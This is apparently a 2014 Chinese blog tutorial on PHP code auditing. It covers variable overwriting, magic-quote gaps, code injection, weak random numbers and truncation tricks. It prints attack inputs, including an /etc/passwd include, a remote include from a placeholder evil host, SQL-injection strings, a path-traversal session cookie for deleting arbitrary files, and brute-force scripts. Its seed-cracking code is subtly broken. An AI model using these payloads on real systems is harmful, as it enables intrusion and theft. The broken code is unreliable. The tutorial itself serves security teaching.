PHP Code Reviewing Learning

Andrew.Hann發表於2014-06-17

相關學習資料

http://code-tech.diandian.com/post/2012-11-04/40042129192
http://ssv.sebug.net/高階PHP應用程式漏洞稽核技術#
http://80vul.com/
http://www.php-security.org/ 

 

目錄

1. 前言
2. 傳統的程式碼審計技術
3. PHP版本與應用程式碼審計
4. 其他的因素與應用程式碼審計
5. 擴充套件我們的字典
    5.1 變數本身的key
    5.2 變數覆蓋
        5.2.1 遍歷初始化變數
        5.2.2 parse_str()變數覆蓋漏洞
        5.2.3 import_request_variables()變數覆蓋漏洞
        5.2.4 PHP5 Globals
    5.3 magic_quotes_gpc與程式碼安全
        5.3.1 什麼是magic_quotes_gpc
        5.3.2 哪些地方沒有魔術引號的保護
        5.3.3 變數的編碼與解碼
        5.3.4 二次攻擊
        5.3.5 魔術引號帶來的新的安全問題
        5.3.6 變數key與魔術引號
    5.4 程式碼注射
        5.4.1 PHP中可能導致程式碼注射的函式
        5.4.2 變數函式與雙引號
    5.5 PHP自身函式漏洞及缺陷
        5.5.1 PHP函式的溢位漏洞
        5.5.2 PHP函式的其他漏洞
        5.5.3 session_destroy()刪除檔案漏洞
        5.5.4 隨機函式
    5.6 特殊字元
        5.6.1 截斷
            5.6.1.1 include截斷
            5.6.1.2 資料截斷
            5.6.1.3 檔案操作裡的特殊字元
6. 怎麼進一步尋找新的字典 

 

1. 前言

PHP是一種被廣泛使用的指令碼語言,尤其適合於web開發。具有跨平臺,容易學習,功能強大等特點,據統計全世界有超過34%的網站有php的應用,包括Yahoo、sina、163、sohu等大型入口網站。而且很多具名的web應用系統(包括bbs,blog,wiki,cms等等)都是使用php開發的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點升級,php應用程式的程式碼安全問題也逐步興盛起來,越來越多的安全人員投入到這個領域,越來越多的應用程式程式碼漏洞被披露。
針對這樣一個狀況,很多應用程式的官方都成立了安全部門,或者僱傭安全人員進行程式碼審計,因此出現了很多自動化商業化的程式碼審計工具。也就是這樣的形勢導致了一個局面:大公司的產品安全係數大大的提高,那些很明顯的漏洞基本滅絕了,那些大家都知道的審計技術都無用武之地了。
我們面對很多工具以及大牛掃描過n遍的程式碼,有很多的安全人員有點悲觀,而有的官方安全人員也非常的放心自己的程式碼,但是不要忘記了"沒有絕對的安全",我們應該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統的技術經驗和大家分享。

 

2. 傳統的程式碼審計技術

WEB應用程式漏洞查詢基本上是圍繞兩個元素展開:變數與函式。也就是說一漏洞的利用必須把你提交的惡意程式碼通過變數經過n次變數轉換傳遞,最終傳遞給目標函式執行,還記得MS那句經典的名言嗎?"一切輸入都是有害的"。
這句話只強調了變數輸入,很多程式設計師把"輸入"理解為只是gpc[$_GET,$_POST,$_COOKIE],但是變數在傳遞過程產生了n多的變化。導致很多過濾只是個"紙老虎"!我們換句話來描敘下程式碼安全:"一切進入函式的變數是有害的"。
PHP程式碼審計技術用的最多也是目前的主力方法:靜態分析,主要也是通過查詢容易導致安全漏洞的危險函式,常用的如grep,findstr等搜尋工具,很多自動化工具也是使用正則來搜尋這些函式。下面列舉一些常用的函式,也就是下文說的字典。但是目前基本已有的字典很難找到漏洞,所以我們需要擴充套件我們的字典,這些字典也是本文主要探討的。
其他的方法有:通過修改PHP原始碼來分析變數流程,或者hook危險的函式來實現對應用程式程式碼的稽核,但是這些也依靠了我們上面提到的字典。

 

3. PHP版本與應用程式碼審計

到目前為止,PHP主要有3個版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最終版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6   目前還在測試階段,變化很多做了大量的修改,取消了很多安全選項如magic_quotes_gpc(這個不是今天討論的範圍)

由於php缺少自動升級的機制,導致目前PHP版本並存,也導致很多存在漏洞沒有被修補。這些有漏洞的函式也是我們進行WEB應用程式程式碼審計的重點物件,也是我們字典重要來源。

 

4. 其他的因素與應用程式碼審計
很多程式碼審計者拿到程式碼就看,他們忽視了"安全是一個整體",程式碼安全很多的其他因素有關係,比如上面我們談到的PHP版本的問題,比較重要的還有作業系統型別(主要是兩大陣營win/*nix),WEB服務端軟體(主要是iis/apache兩大型別)等因素。這是由於不同的系統不同的WEB SERVER有著不同的安全特點或特性,下文有些部分會涉及。
所以我們在做某個公司WEB應用程式碼審計時,應該瞭解他們使用的系統,WEB服務端軟體,PHP版本等資訊。

 

5. 擴充套件我們的字典
下面將詳細介紹一些非傳統PHP應用程式碼審計一些漏洞型別和利用技巧。

5.1 變數本身的key
說到變數的提交很多人只是看到了GET、POST、COOKIE等從使用者提交的變數的值,但是忘記了有的程式把變數本身的key也當變數提取給函式處理,所以,從本質上來說,變數本身的key值也屬於資料輸入流中的一員,應納入審計範圍中。

<?php
    //key.php?aaaa'aaa=1&bb'b=2 
    //print_R($_GET); 
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
    }
?>

上面的程式碼就提取了變數本身的key顯示出來,單純對於上面的程式碼,如果我們提交URL:

http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2

那麼就導致一個xss的漏洞,擴充套件一下如果這個key提交給include()等函式或者sql查詢呢?:)

5.2 變數覆蓋
很多的漏洞查詢者都知道extract()這個函式在指定引數為EXTR_OVERWRITE或者沒有指定函式可以導致變數覆蓋,但是還有很多其他情況導致變數覆蓋的如:遍歷初始化變數
請看如下程式碼:

<?php
    //var.php?a=fuck
    $a='hi';
    foreach($_GET as $key => $value) 
    {
        $$key = $value;
    }
    print $a;
?>

很多的WEB應用都使用上面的方式,如Discuz!4.1的WAP部分的程式碼

$chs = '';
if($_POST && $charset != 'utf-8') 
{
        $chs = new Chinese('UTF-8', $charset);
        foreach($_POST as $key => $value) 
    {
                $$key = $chs->Convert($value);
        }
        unset($chs);
...

以及DEDECMS的common.inc.php

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) 
    {
        if($_k == 'nvarname') 
        {
            ${$_k} = $_v;
        }
        else 
        {
            ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

CMS中的這些程式碼模組對PHP的本地變數註冊進行了模擬實現,自然也引入了同樣的變數覆蓋安全問題。

0x1: parse_str()變數覆蓋漏洞

<?php
    //var.php?var=new
    $var = 'init';                     
    parse_str($_SERVER['QUERY_STRING']); 
    print $var;
?>
訪問:
http://localhost/test/var.php?var=new

該函式一樣可以覆蓋陣列變數,上面的程式碼是通過$_SERVER'QUERY_STRING'來提取變數的,對於指定了變數名的我們可以通過注射"="來實現覆蓋其他的變數:

<?php
    //var.php?var=1&a[1]=var1%3d222
    $var1 = 'init';
    parse_str($a[$_GET['var']]);
    print $var1;
?>
訪問
http://localhost/test/index.php?var=1&a[1]=var1%3d222

上面的程式碼通過提交$var來實現對$var1的覆蓋。
http://cn2.php.net/manual/zh/function.parse-str.php

0x2: import_request_variables()變數覆蓋漏洞
將 GET/POST/Cookie 變數匯入到全域性作用域中。如果你禁止了 register_globals,但又想用到一些全域性變數,那麼此函式就很有用。

http://www.php.net/manual/zh/function.import-request-variables.php

這個函式可能導致的漏洞如下:

<?php
    //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
    echo 'GLOBALS '.(int)ini_get("register_globals")."n";
    import_request_variables('GPC');
    if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') 
    {
        die('Go away!');
    }
    echo 'Hello admin!';
?>
訪問
http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1

5.3 magic_quotes_gpc與程式碼安全
首先,我們需要明白的是magic_quotes_gpc的版本情況

PHP 5.3.0之前有效
PHP 5.3.0起廢棄
PHP 5.4.0起移除,即不管任何設定均無效

當開啟時,所有的 '(單引號),"(雙引號),\(反斜線)和 NULL 字元都會被自動加上一個反斜線進行轉義。還有很多函式有類似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等。

但是,PHP中存在某些地方是不受magic_quotes_gpc保護的,認識到這點很重要,因為從安全控制的最佳實踐來說,最好的做法就是將某類安全處理程式碼塊封裝到一個API中,並在程式中所有涉及到這類風險的位置應用這個API,理論上說,magic_quotes_gpc也應該是要這樣,但事實上卻不是這樣,PHP中不受magic_quotes_gpc保護的變數有:

1. $_SERVER變數
PHP5的$_SERVER變數缺少magic_quotes_gpc的保護,導致近年來X-Forwarded-For的漏洞猛暴,所以很多程式設計師考慮過濾X-Forwarded-For,但是$_SERVER變數中的其他的變數呢?
2. getenv()得到的變數
類似$_SERVER變數 
3. $HTTP_RAW_POST_DATA與PHP輸入、輸出流
主要應用與soap/xmlrpc/webpublish功能裡,請看如下程式碼:
..
if ( !isset( $HTTP_RAW_POST_DATA ) ) 
{
        $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
{
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
    ...
}
...
4. 資料庫操作容易忘記'的地方如:in()/limit/order by/group by
if(is_array($msgtobuddys)) 
{
        $msgto = array_merge($msgtobuddys, array($msgtoid));
        ......
    foreach($msgto as $uid) 
    {
        $uids .= $comma.$uid;
        $comma = ',';
    }
    ......
    $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN 
($uids)");

總的來說,magic_quotes_gpc存在兩個主要的問題

1. 寬位元組錯誤導致的注入
2. 覆蓋度不完整,沒有對程式中所有的輸入變數都應用安全處理

所以在PHP5.4之後,PHP就停止了對magic_quotes_gpc的支援,而鼓勵開發者遵循最佳安全開發實踐來對輸入變數進行處理。

0x1: 變數的編碼與解碼
一個WEB程式很多功能的實現都需要變數的編碼解碼,而且就在這一轉一解的傳遞過程中就悄悄的繞過你的過濾的安全防線。
這個型別的主要函式有:

1. stripslashes() 
這個其實就是一個decode-addslashes()
2. 其他字串轉換函式:
    1) base64_decode    對使用 MIME base64 編碼的資料進行解碼
    2) base64_encode    使用 MIME base64 對資料進行編碼
    3) rawurldecode    對已編碼的 URL 字串進行解碼
    4) rawurlencode    按照 RFC 1738 對 URL 進行編碼
    5) urldecode    解碼已編碼的 URL 字串
    6) urlencode    編碼 URL 字串
    ...     
3. unserialize/serialize
4. 字符集函式(GKB,UTF7/8...)
    1) iconv()
    2) mb_convert_encoding()

變數和編碼本身沒有明顯的漏洞,它帶來的問題是會隱藏攻擊者的payload意圖,導致WAF、IDS等防禦策略失效。

0x2: 魔術引號/轉義帶來的新的安全問題
首先我們看下魔術引號的處理機制:

1. \-->\\
2. '-->\'
3. "-->\"
4. null-->\0

這給我們引進了一個非常有用的符號"\","\"符號不僅僅是轉義符號,在WIN系統下也是目錄轉跳的符號(只擷取"\"後面的內容)。這個特點可能導致php應用程式裡產生非常有意思的漏洞:

1. 得到原字元 
<?php
    ...
    $order_sn=substr($_GET['order_sn'], 1); 
    //提交                 '
    //魔術引號處理         \'
    //substr               ' 
    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . 
$ecs->table('order_info'). " WHERE order_sn = '$order_sn' LIMIT 1"; 2. 得到"\"字元 <?php ... $order_sn=substr($_GET['order_sn'], 0,1); //提交 ' //魔術引號處理 \' //substr \ $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " .
$ecs->table('order_info'). " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'"; ..
提交內容: ?order_sn='&order_tn=%20and%201=1/* 執行的SQL語句為: SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE
order_sn = '\' and order_tn=' and 1=1/*'

5.4 程式碼注射

0x1: PHP中可能導致程式碼注射的函式
PHP中可能導致程式碼注射的API有:

1. eval
2. preg_replace+/e
3. assert()
4. call_user_func()
5. call_user_func_array()
6. create_function()
7. 變數函式(動態函式)
...

例如:

<?php
    //how to exp this code
    $sort_by=$_GET['sort_by'];
    $sorter='strnatcasecmp';
    $databases=array('test','test');
    $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
              ';
    usort($databases, create_function('$a, $b', $sort_function));

0x2: 變數函式與雙引號
對於單引號和雙引號的區別,我們需要仔細理解,例如

<?php
    echo "$a\n";
    echo '$a\n';
?>

我們再看如下程式碼:

<?php
    //how to exp this code
    if($globals['bbc_email'])
    { 
        $text = preg_replace( array("/\[email=(.*?)\](.*?)\[\/email\]/ies", "/\[email\](.*?)\[\/email\]/ies"), array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text);
另外,很多的應用程式都把變數用""存放在快取檔案或者config或者data檔案裡,在需要使用的使用通過Include方式載入進來,這樣,如果被載入的檔案是變數函式(例如${${...}}這種型別的),這就容易被人注射變數函式進而程式碼執行了。

5.5 PHP自身函式漏洞及缺陷

0x1: PHP函式的溢位漏洞
大家還記得Stefan Esser大牛的Month of PHP Bugs專案麼,其中比較有名的要算是unserialize(),程式碼如下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
在以往的PHP版本里,很多函式都曾經出現過溢位漏洞,所以我們在審計應用程式漏洞的時候不要忘記了測試目標使用的PHP版本資訊

http://www.php-security.org/

0x2: session_destroy()刪除檔案漏洞
測試PHP版本:5.1.2 這個漏洞是幾年前朋友saiy發現的,session_destroy()函式的功能是刪除session檔案,很多web應用程式的logout的功能都直接呼叫這個函式刪除session,但是這個函式在一些老的版本中缺少過濾導致可以刪除任意檔案。測試程式碼如下:

<?php 
    //val.php   
    session_save_path('./');
    session_start();
    if($_GET['del']) 
    {
        session_unset();
        session_destroy();
    }
    else
    {
        $_SESSION['hei']=1;
        echo(session_id());
        print_r($_SESSION);
    }
?>

當我們提交構造cookie:PHPSESSID=/../1.php,相當於unlink('sess_/../1.php')這樣就通過注射../轉跳目錄刪除任意檔案了。很多著名的程式某些版本都受影響如phpmyadmin,sablog,phpwind3等等。

0x3: 隨機函式
總體來說,PHP、以及其他的語言中,和隨機數有關的漏洞有以下兩種:

1. 隨機數密文空間長度問題
2. 隨即發生器種子問題

1. 隨機數密文空間長度問題: rand() VS mt_rand() 

<?php
    //on windows
    print mt_getrandmax(); //2147483647
    echo "</br>";
    print getrandmax();// 32767
?>

可以看出rand()最大的隨機數是32767,這個很容易被我們暴力破解。

<?php
    $a= md5(rand());
    for($i=0;$i<=32767;$i++)
    {
        if(md5($i) ==$a ) 
        {
            print $i."-->ok!!<br>";
            exit;
        }
        else 
        { 
            print $i."<br>";
        }
    }
?>

當我們的程式使用rand處理session時,攻擊者很容易暴力破解出你的session,但是對於mt_rand是很難單純的暴力的。
當然,凡是也不是絕對的,我們說mt_rand()抗窮舉性更強也是基於攻擊者完全不具有對目標隨機系統先驗知識的情況下而言的。我們來思考下面這個場景:
比如下面的程式碼,其邏輯是使用者取回密碼時,會由系統隨機生成一個新的密碼,併傳送到使用者的郵箱:

function sendPSW()
{
    ....
    $messenger = &$this->system->loadModel('system/messenger');
    echo microtime() . "<br/>";
    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);
}

我們發現,這個新生成的$passwd,是直接呼叫了microtime()後,取其MD5值的前6位。由於MD5是單向的雜湊函式,因此只需遍歷microtime()的值,再按照同樣的演算法(這就是演算法逆向的思想),即可猜解出$passwd的值。
PHP中的microtime()有兩個值合併而成,一個是微秒數,一個是系統當前秒數。

http://www.w3school.com.cn/php/func_date_microtime.asp

因此只需要獲取到伺服器的系統時間,就可以以此時間作為"基數",按次序遞增,即可猜解出新生成的密碼。因此這個演算法是存在非常嚴重的設計缺陷的,程式設計師預想的隨機生成密碼,其實並未隨機。

在這個案例中,生成密碼的前一行,直接呼叫了microtime()並返回在當前頁面上,這又使得攻擊者以非常低的成本獲得了伺服器時間;且兩次呼叫microtime()的時間間隔非常短,因此必然是在同一秒內,攻擊者只需要猜解微秒數即可。

(思考: 攻擊者能利用這個microtime()的弱隨機性漏洞進行基於時間"基數"的窮舉的一個最重要的前提就是攻擊者要獲取到伺服器的系統時間,也就是在發起攻擊前要獲取到儘可能靠近關鍵點的時間,比如說在生成cookie的那一瞬間會取一次microtime(),我們攻擊者的目的就是要"窮舉"出cookie生成的那一瞬間的microtime(),為了達到這個目的,我們就必須要儘可能的獲取到儘可能靠近那個取值點的時間,才能有效的進行"時間"窮舉,否則如果時間間隔太大,窮舉就會很沒效率,還可能觸發警報)
這點在傳送攻擊前一定要注意,因為每種攻擊一般都會有一些必要的成立條件的。

http://www.w3school.com.cn/php/func_date_microtime.asp

如果呼叫時不帶可選引數,本函式以 "msec sec" 的格式返回一個字串,其中 sec 是自 Unix 紀元(0:00:00 January 1, 1970 GMT)起到現在的秒數,msec 是微秒部分。字串的兩部分都是以秒為單位返回的。

0.68454800 1382964876
0.68459400 1382964876

我們發現,後面的"秒數部分"基本是一樣的(要達到這點需要攻擊者能夠做到在關鍵的附近獲取到microtime)。我們要做的就是不斷的窮舉前面的毫秒部分。

<?php

    //這個輸出的作用是模擬攻擊者獲取到了一個關鍵點附近的時間
    $timebase = microtime();
    print_r($timebase . "\n");   

    //關鍵點,基於microtime生成"key"的地方
    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);

    //開始進行窮舉
    for($i = 15000;;$i++)
    {
        $tmp = substr(md5(print_r($timebase + $i, true)), 0, 6);
        print_r($tmp . "\n"); 
        if($passwd == $tmp)
        {
            print_r("Found The Key: " . $tmp . "\n"); 
            break;
        }
    }
    print_r($passwd);

?>

2) 隨即發生器種子問題: mt_srand()/srand()-weak seeding(by Stefan Esser)

偽隨機數是由數學演算法實現的,它真正隨機的地方在於"種子(seed)"。種子一旦確定後,再通過同一個偽隨機數演算法計算出來的隨機數,其值是固定,多次計算所得值的順序也是固定的(也就是說,只要種子seed是相同的,之後產生的偽隨機數序列就是相同的)。

在PHP 4.2.0之前的版本中,是需要通過srand()或mt_srand()給rand()、mt_rand()"播種"的。
在PHP 4.2.0之後的版本中,不在需要事先通過srand()、mt_srand()來"播種"。

我們可以直接呼叫mt_rand(),系統會自動播種。但是有的時候,程式猿為了和以前的PHP版本相容,PHP程式碼中經常會這樣寫

mt_srand();
mt_srand((double) microtime() * 100000);
mt_srand((double) microtime() * 1000000);
mt_srand((double) microtime() * 10000000);

這種播種的寫法其實是由缺陷的,且不說time()是可以被攻擊者獲知的,使用microtime()獲得的種子範圍其實也不是很大。

0 < (double) microtime() < 1 
----->
0 < (double) microtime() * 1000000 < 1000000

變化的範圍在0~1000000之間,猜解100萬次即可遍歷所有的種子。
在PHP 4.2.0之後的版本中,如果沒有通過播種函式指定seed,而直接呼叫mt_rand(),則系統會分配一個預設的種子(預設不是指一個定值,這個值也是隨機的)。在32位系統上預設的播種的種子最大值是2^32,因此最多隻需要嘗試2^32次就可以破解seed。

如果是在同一程式中(apache不能重啟),則同一個seed(這個是關鍵前提)每次通過mt_rand()生成的值都是固定的。

<?php
    mt_srand(1);

    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
?>
1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170

多次訪問得到的結果都是一樣的,也就是說,當seed確定時,1~N次通過mt_rand()產生的值都沒有發生變化。

建立在這個基礎上,就可以得到一種針對隨機數種子的可行的攻擊方式:

1) 通過窮舉方法猜解出種子的值
2) 通過mt_srand()對猜解出的種子值進行播種
3) 通過還原程式邏輯,計算出對用的mt_rand()產生的偽隨機數的值
<?php
    mt_srand((double) microtime() * 1000000);

    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
?>
每次訪問都會得到不同的隨機數值,這是因為種子每次都會發生變化。
假設攻擊者已知第一個隨機數的值:154176006(這在實際情況中很常見,即攻擊者只能獲得偽隨機序列中的一部分的值,要去猜測剩下的其他值),如何猜解出剩下的幾個隨機數呢?只需要猜解出當前用的種子即可。
<?php
    if($seed = get_seed())
    {
        echo "seed is: " . $seed . "\n";

        mt_srand($seed); 
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
    }
    
    //逆向演算法的邏輯,猜解出種子值
    function get_seed()
    {
        for($i = 0; $i < 1000000; $i++)
        {
            mt_srand($i);
            //mt_rand(); 對應是第幾次呼叫mt_rand() 這在實際攻擊中也要攻擊者事先確認
            $str = mt_rand(); //本例中是第一次呼叫mt_rand()
            //對比隨機數的值
            if($str == 154176006)
            {
                //返回找到的種子seed值
                return $i;
            }
            return false;
        }
    }
?>
seed is: 345466
154176006
1557534108
1434505522
563902658
470748912
1976227824
1450875174
1698782154

對抗這種攻擊的方法,在輸出時不要輸入完整的偽隨機樹,比如,原本是1450875174,那就進行截斷,只輸出截斷後的數字,這樣攻擊者就無法從所得到的偽隨機數結果反推出seed了

在Stefan Esser的文中還提到一個小技巧,可以通過傳送Keep-Alive HTTP頭,迫使服務端使用同一PHP程式響應請求,而在該PHP程式中,隨機數在使用時只會在一開始播種一次。

在一個web應用中,有很多地方都可以獲取到隨機數,從而提供猜解種子的可能。Stefan Esser提供了一種"Cross Application Attacks"的思路,即通過前一個應用在頁面上返回的隨機數值,猜解出其他應用生成的隨機數值。

mt_srand((double) microtime() * 1000000);
$search_id = mt_rand();

如果伺服器端將$search_id返回到頁面上,則攻擊者就可能猜解出當前的種子。

這個我之前分析的 Discuz修改使用者密碼POC的分析和思考
http://www.freebuf.com/articles/web/12088.html
原理是類似的
1) 攻擊者能夠獲得偽隨機序列中的其中一個
2) 攻擊者必須要確定自己獲取的數值是偽隨機序列中的哪一個(即序號)
3) 通過逆向演算法來窮舉出這個偽隨機數所用的種子seed
4) 通過這個種子seed再生成其他的偽隨機數

這種攻擊確實可行,比如一個伺服器上同時安裝了WordPress和PhpBB,可以通過phpBB來猜解出種子,然後利用WordPress的密碼取回功能猜解出新生成的密碼。Stefan Esser描述這個攻擊過程如下:

1) 使用Keep-Alive HTTP請求在phpBB2論壇中搜尋字串'a';
2) 搜尋必然會出來很多結果,同時也洩露了search_id;
3) 很容易通過該值猜解出隨機數的種子(可以使用phpBB原生的生成演算法來逆向推出種子)
4) 攻擊者仍然使用Keep-Alive HTTP頭髮送一個重置的admin密碼的請求給WordPress Blog;
5) WordPress mt_rand()生成確認連結,併傳送到管理員郵箱;
6) 攻擊者根據已算出的種子,可以構造出此確認連結;
7) 攻擊者確認此連結(仍然使用Keep-Alive頭),WordPress將向管理員郵箱傳送新生成的密碼;
8) 因為新密碼也是由mt_rand()生成的,攻擊者仍然可以計算出來;
9) 從而攻擊者最終獲取了新的管理員密碼

5.6 特殊字元

0x1: 截斷
其中最有名的數大家都熟悉的null字元截斷

0x2: include截斷

<?php 
    include $_GET['action'].".php"; 
?>
提交"action=/etc/passwd%00"中的"%00"將截斷後面的".php"

除了"%00"之外,還可以通過提交"action=http://www.hacksite.com/evil-code.txt?"這裡"?"實現了"偽截斷"。

除了利用WEB請求中的引數分隔來進行"偽截斷"之外,還可以進行超長字串的截斷,即通過注入超長字串,將原本的後半段內容擠出去

<?php
////////////////////
////var5.php程式碼:
////include $_GET['action'].".php"; 
////print strlen(realpath("./"))+strlen($_GET['action']);  
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
        $str=$str."/";
 
        $resp=file_get_contents('http://127.0.0.1/test/index.php?action=1.txt'.$str);
        //1.txt裡的程式碼為print 'hi';
        if (strpos($resp, 'hi') !== false)
    {
                print $i;
                exit;
        }
}
?>

經過測試字元"."、"/"或者2個字元的組合,在一定的長度時將被截斷,win系統和*nix的系統長度不一樣,當win下strlen(realpath("./"))+strlen($_GET['action'])的長度大於256時被截斷,對於*nix的長度是4 * 1024 = 4096。對於php.ini裡設定遠端檔案關閉的時候就可以利用上面的技巧包含本地檔案了 

0x3: 資料截斷

對於很多web應用檔案在很多功能是不容許重複資料的,比如使用者註冊功能等。一般的應用程式對於提交註冊的username和資料庫裡已有的username對比是不是已經有重複資料,然而我們可以通過“資料截斷”等來饒過這些判斷,資料庫在處理時候產生截斷導致插入重複資料。

1) Mysql SQL Column Truncation Vulnerabilities
這個是由於mysql的sql_mode設定為default的時候,即沒有開啟STRICT_ALL_TABLES選項時,MySQL對於插入超長的值只會提示warning,而不是error(如果是error就插入不成功),這樣可能會導致一些截斷問題。測試如下:
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability
當mysql進行資料儲存處理utf8等資料時對某些字元導致資料截斷。測試如下:
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
很多的web應用程式沒有考慮到這些問題,只是在資料儲存前簡單查詢資料是否包含相同資料,如下程式碼:
$result = mysql_query("SELECT * from test_user where user='$user' ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) 
{
        die("already exist");
}

這兩種漏洞都有可能導致賬戶重複註冊、管理員帳號提權等漏洞。

0x4: 檔案操作裡的特殊字元
檔案操作裡有很多特殊的字元,發揮特別的作用,很多web應用程式沒有注意處理這些字元而導致安全問題。比如很多人都知道的windows系統檔名對"空格"和"."等的忽視,這個主要體現在上傳檔案或者寫檔案上,導致直接寫webshell。另外對於windows系統對".\..\"進行系統轉跳等等。例如:

<?php
    ..
    //Is this code vul?
    if( eregi(".php",$url) )
    {
        die("ERR");
    }
    $fileurl=str_replace($webdb[www_url],"",$url);
    .....
    header('Content-Disposition: attachment; filename='.$filename);

很多人看出來了上面的程式碼的問題,程式首先禁止使用".php"字尾。但是下面居然接了個str_replace替換$webdbwww_url為空,那麼我們提交".p$webdbwww_urlhp"就可以饒過了。那麼上面的程式碼雜fix呢?有人給出瞭如下程式碼:

<?php
    ..
    $fileurl=str_replace($webdb[www_url],"",$url);
    if( eregi(".php",$url) )
    {
        die("ERR");
    }

str_replace提到前面了,很完美的解決了str_replace程式碼的安全問題,但是問題不是那麼簡單,上面的程式碼在某些系統上一樣可以突破。接下來我們先看看下面的程式碼:

<?php
    for($i=0;$i<255;$i++) 
    {
        $url = 'index.ph'.chr($i);
        $tmp = @file_get_contents($url);
        if(!empty($tmp)) echo chr($i)."\r\n";
    }  
?>
ok

我們在windows系統執行上面的程式碼得到如下字元

1. < 
2. > 
3. P
4. p

都可以開啟目錄下的index.php。這可以被作為一個檔案字尾名繞過的思路。

 

6. 怎麼進一步尋找新的字典

上面我們列舉很多的字典,但是很多都是已經公開過的漏洞或者方式,那麼我們怎麼進一步找到新的字典或者利用方式呢?

1. 分析和學習別人發現的漏洞或者exp,總結出漏洞型別及字典
2. 通過學習php手冊或者官方文件,挖掘出新的有危害的函式或者利用方式
3. fuzz php的函式,找到新的有問題的函式(不一定非要溢位的),有很多問題都可以簡單的fuzz指令碼可以測試出來
4. 分析php原始碼,發現新的漏洞函式"特性"或者漏洞,如果你要進一步找到新的字典,可以在php原始碼的基礎上分析下成因,然後根據這個成因來分析尋找新的漏洞函式"特性"或者漏洞。 
5. 有條件或者機會和開發者學習,找到他們實現某些常用功能的程式碼的缺陷或者容易忽視的問

 

Copyright (c) 2014 LittleHann All rights reserved

 

 

相關文章